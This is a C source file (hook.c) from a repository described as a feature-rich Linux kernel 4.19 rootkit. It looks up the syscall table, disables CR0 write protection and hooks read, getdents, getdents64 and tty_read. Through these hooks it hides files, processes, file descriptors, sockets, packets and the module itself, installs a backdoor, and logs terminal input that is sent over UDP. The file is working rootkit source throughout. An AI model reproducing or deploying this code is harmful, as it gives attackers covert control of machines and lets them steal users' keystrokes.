linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

hook.c (9340B)


      1 #include <linux/kallsyms.h>
      2 #include <linux/slab.h>
      3 #include <linux/fs.h>
      4 #include <linux/xattr.h>
      5 #include <linux/fdtable.h>
      6 #include <linux/list.h>
      7 #include <linux/proc_ns.h>
      8 #include <linux/namei.h>
      9 #include <linux/file.h>
     10 #include <linux/sched.h>
     11 #include <linux/fs_struct.h>
     12 #include <linux/dcache.h>
     13 
     14 #include "common.h"
     15 #include "hook.h"
     16 #include "rootkit.h"
     17 #include "modhide.h"
     18 #include "filehide.h"
     19 #include "filehide_lstar.h"
     20 #include "backdoor.h"
     21 #include "pidhide.h"
     22 #include "openhide.h"
     23 #include "read.h"
     24 #include "inputlog.h"
     25 #include "sockhide.h"
     26 #include "packhide.h"
     27 #include "porthide.h"
     28 
     29 extern rootkit_t rootkit;
     30 
     31 void **sys_calls;
     32 
     33 atomic_t read_install_count;
     34 atomic_t getdents_install_count;
     35 atomic_t tty_read_install_count;
     36 atomic_t packet_rcv_install_count;
     37 atomic_t syscall64_install_count;
     38 
     39 atomic_t read_count;
     40 atomic_t getdents_count;
     41 atomic_t getdents64_count;
     42 atomic_t tty_read_count;
     43 
     44 asmlinkage ssize_t (*sys_read)(const struct pt_regs *);
     45 asmlinkage long (*sys_getdents)(const struct pt_regs *);
     46 asmlinkage long (*sys_getdents64)(const struct pt_regs *);
     47 ssize_t (*sys_tty_read)(struct file *, char *, size_t, loff_t *);
     48 
     49 struct linux_dirent {
     50     unsigned long   d_ino;
     51     unsigned long   d_off;
     52     unsigned short  d_reclen;
     53     char            d_name[1];
     54 };
     55 
     56 int
     57 retrieve_sys_call_table(void)
     58 {
     59     return NULL == (sys_calls
     60         = (void **)kallsyms_lookup_name("sys_call_table"));
     61 }
     62 
     63 void
     64 init_hooks(void)
     65 {
     66     atomic_set(&read_install_count, 0);
     67     atomic_set(&tty_read_install_count, 0);
     68     atomic_set(&getdents_install_count, 0);
     69     atomic_set(&packet_rcv_install_count, 0);
     70     atomic_set(&syscall64_install_count, 0);
     71 
     72     atomic_set(&read_count, 0);
     73     atomic_set(&tty_read_count, 0);
     74     atomic_set(&getdents_count, 0);
     75     atomic_set(&getdents64_count, 0);
     76 
     77     sys_read = (void *)sys_calls[__NR_read];
     78     sys_getdents = (void *)sys_calls[__NR_getdents];
     79     sys_getdents64 = (void *)sys_calls[__NR_getdents64];
     80     sys_tty_read = NULL;
     81 
     82     if (rootkit.hiding_module)
     83         hide_module();
     84 
     85     switch (rootkit.hiding_files) {
     86     case FH_TABLE: hide_files();       break;
     87     case FH_LSTAR: hide_files_lstar(); break;
     88     default: break;
     89     }
     90 
     91     if (rootkit.hiding_open)
     92         hide_open();
     93 
     94     if (rootkit.hiding_pids)
     95         hide_pids();
     96 
     97     if (rootkit.hiding_sockets)
     98         hide_sockets();
     99 
    100     if (rootkit.hiding_packets)
    101         hide_packets();
    102 
    103     switch (rootkit.backdoor) {
    104     case BD_READ: backdoor_read(); break;
    105     case BD_TTY:  backdoor_tty();  break;
    106     default: break;
    107     }
    108 
    109     if (rootkit.logging_input)
    110         log_input("127.0.0.1", "5000");
    111 }
    112 
    113 void
    114 remove_hooks(void)
    115 {
    116     if (rootkit.hiding_module)
    117         unhide_module();
    118 
    119     switch (rootkit.hiding_files) {
    120     case FH_TABLE: unhide_files();       break;
    121     case FH_LSTAR: unhide_files_lstar(); break;
    122     default: break;
    123     }
    124 
    125     if (rootkit.hiding_open)
    126         unhide_open();
    127 
    128     if (rootkit.hiding_pids) {
    129         clear_hidden_pids();
    130         unhide_pids();
    131     }
    132 
    133     if (rootkit.hiding_sockets)
    134         unhide_sockets();
    135 
    136     if (rootkit.hiding_packets)
    137         unhide_packets();
    138 
    139     if (rootkit.backdoor != BD_OFF)
    140         unbackdoor();
    141 
    142     if (rootkit.logging_input)
    143         unlog_input();
    144 }
    145 
    146 void
    147 disable_protection(void)
    148 {
    149     write_cr0(read_cr0() & (~0x10000));
    150 }
    151 
    152 void
    153 enable_protection(void)
    154 {
    155     write_cr0(read_cr0() | 0x10000);
    156 }
    157 
    158 
    159 asmlinkage ssize_t
    160 g7_read(const struct pt_regs *pt_regs)
    161 {
    162     atomic_inc(&read_count);
    163     long ret = sys_read(pt_regs);
    164 
    165     // Just like the SystemV-CC (ignoring fd)
    166     char *buf = (char *)pt_regs->si;
    167     size_t count = pt_regs->dx;
    168 
    169     if (rootkit.backdoor == BD_READ)
    170         handle_pid(current->pid, buf, count);
    171 
    172     atomic_dec(&read_count);
    173     return ret;
    174 }
    175 
    176 ssize_t
    177 g7_tty_read(struct file *file, char *buf, size_t count, loff_t *off)
    178 {
    179     atomic_inc(&tty_read_count);
    180     ssize_t ret = sys_tty_read(file, buf, count, off);
    181 
    182     // pull buffer into kernel space
    183     char *kbuf = (char *)kmalloc(count, GFP_KERNEL);
    184     copy_from_user(kbuf, buf, count);
    185 
    186     if (rootkit.backdoor == BD_TTY)
    187         handle_pid(current->pid, buf, count);
    188 
    189     if (rootkit.logging_input)
    190         send_udp(current->pid, file, kbuf, count);
    191 
    192     kfree(kbuf);
    193     atomic_dec(&tty_read_count);
    194     return ret;
    195 }
    196 
    197 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c
    198 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12
    199 asmlinkage long
    200 g7_getdents(const struct pt_regs *pt_regs)
    201 {
    202     typedef struct linux_dirent *dirent_t_ptr;
    203 
    204     bool may_proc;
    205     unsigned long offset;
    206     dirent_t_ptr kdirent, cur_kdirent, prev_kdirent;
    207     struct dentry *kdirent_dentry;
    208 
    209     cur_kdirent = prev_kdirent = NULL;
    210     int fd = (int)pt_regs->di;
    211     dirent_t_ptr dirent = (dirent_t_ptr)pt_regs->si;
    212     long ret = sys_getdents(pt_regs);
    213 
    214     bool is_fd = 0; // We only need /proc/[pid]/fd dirs
    215     struct file *dirfile = fget(fd);
    216     pid_t fd_pid;
    217 
    218     if (ret <= 0 || !(kdirent = (dirent_t_ptr)kzalloc(ret, GFP_KERNEL)))
    219         return ret;
    220 
    221     if (copy_from_user(kdirent, dirent, ret))
    222         goto yield;
    223 
    224     atomic_inc(&getdents_count);
    225 
    226     kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry;
    227     may_proc = rootkit.hiding_pids && kdirent_dentry->d_inode->i_ino == PROC_ROOT_INO;
    228 
    229     inode_list_t hidden_inodes = { 0, NULL };
    230     inode_list_t_ptr hi_head, hi_tail;
    231     hi_head = hi_tail = &hidden_inodes;
    232 
    233     if (rootkit.hiding_files == FH_TABLE) {
    234         struct list_head *i;
    235         list_for_each(i, &kdirent_dentry->d_subdirs) {
    236             unsigned long inode;
    237             struct dentry *child = list_entry(i, struct dentry, d_child);
    238 
    239             if ((inode = must_hide_inode(child)))
    240                 hi_tail = add_inode_to_list(hi_tail, inode);
    241         }
    242     }
    243 
    244     if(rootkit.hiding_open && (fd_pid = may_fd(dirfile))) {
    245         is_fd = 1;
    246         fill_fds(fd_pid);
    247     }
    248 
    249     for (offset = 0; offset < ret;) {
    250         cur_kdirent = (dirent_t_ptr)((char *)kdirent + offset);
    251 
    252         if ((may_proc && list_contains_pid(&hidden_pids, PID_FROM_NAME(cur_kdirent->d_name)))
    253             || list_contains_inode(hi_head, cur_kdirent->d_ino)
    254             || list_contains_fd(&hidden_fds, FD_FROM_NAME(cur_kdirent->d_name)))
    255         {
    256             if (cur_kdirent == kdirent) {
    257                 ret -= cur_kdirent->d_reclen;
    258                 memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret);
    259                 continue;
    260             }
    261 
    262             prev_kdirent->d_reclen += cur_kdirent->d_reclen;
    263         } else
    264             prev_kdirent = cur_kdirent;
    265 
    266         offset += cur_kdirent->d_reclen;
    267     }
    268 
    269     copy_to_user(dirent, kdirent, ret);
    270     atomic_dec(&getdents_count);
    271 
    272 yield:
    273     clear_hidden_fds();
    274     kfree(kdirent);
    275     return ret;
    276 }
    277 
    278 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c
    279 // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/include/asm/ptrace.h#L12
    280 asmlinkage long
    281 g7_getdents64(const struct pt_regs *pt_regs)
    282 {
    283     typedef struct linux_dirent64 *dirent64_t_ptr;
    284 
    285     bool may_proc;
    286     unsigned long offset;
    287     dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent;
    288     struct dentry *kdirent_dentry;
    289 
    290     cur_kdirent = prev_kdirent = NULL;
    291     int fd = (int)pt_regs->di;
    292     dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si;
    293     long ret = sys_getdents64(pt_regs);
    294 
    295     bool is_fd = 0; // We only need /proc/[pid]/fd dirs
    296     struct file *dirfile = fget(fd);
    297     pid_t fd_pid;
    298 
    299     if (ret <= 0 || !(kdirent = (dirent64_t_ptr)kzalloc(ret, GFP_KERNEL)))
    300         return ret;
    301 
    302     if (copy_from_user(kdirent, dirent, ret))
    303         goto yield;
    304 
    305     atomic_inc(&getdents64_count);
    306 
    307     kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry;
    308     may_proc = rootkit.hiding_pids && kdirent_dentry->d_inode->i_ino == PROC_ROOT_INO;
    309 
    310     inode_list_t hidden_inodes = { 0, NULL };
    311     inode_list_t_ptr hi_head, hi_tail;
    312     hi_head = hi_tail = &hidden_inodes;
    313 
    314     if (rootkit.hiding_files == FH_TABLE) {
    315         struct list_head *i;
    316         list_for_each(i, &kdirent_dentry->d_subdirs) {
    317             unsigned long inode;
    318             struct dentry *child = list_entry(i, struct dentry, d_child);
    319 
    320             if ((inode = must_hide_inode(child)))
    321                 hi_tail = add_inode_to_list(hi_tail, inode);
    322         }
    323     }
    324 
    325     if(rootkit.hiding_open && (fd_pid = may_fd(dirfile))) {
    326         is_fd = 1;
    327         fill_fds(fd_pid);
    328     }
    329 
    330     for (offset = 0; offset < ret;) {
    331         cur_kdirent = (dirent64_t_ptr)((char *)kdirent + offset);
    332 
    333         if ((may_proc && list_contains_pid(&hidden_pids, PID_FROM_NAME(cur_kdirent->d_name)))
    334             || list_contains_inode(hi_head, cur_kdirent->d_ino)
    335             || list_contains_fd(&hidden_fds, FD_FROM_NAME(cur_kdirent->d_name)))
    336         {
    337             if (cur_kdirent == kdirent) {
    338                 ret -= cur_kdirent->d_reclen;
    339                 memmove(cur_kdirent, (char *)cur_kdirent + cur_kdirent->d_reclen, ret);
    340                 continue;
    341             }
    342 
    343             prev_kdirent->d_reclen += cur_kdirent->d_reclen;
    344         } else
    345             prev_kdirent = cur_kdirent;
    346 
    347         offset += cur_kdirent->d_reclen;
    348     }
    349 
    350     copy_to_user(dirent, kdirent, ret);
    351     atomic_dec(&getdents64_count);
    352 
    353 yield:
    354     clear_hidden_fds();
    355     kfree(kdirent);
    356     return ret;
    357 }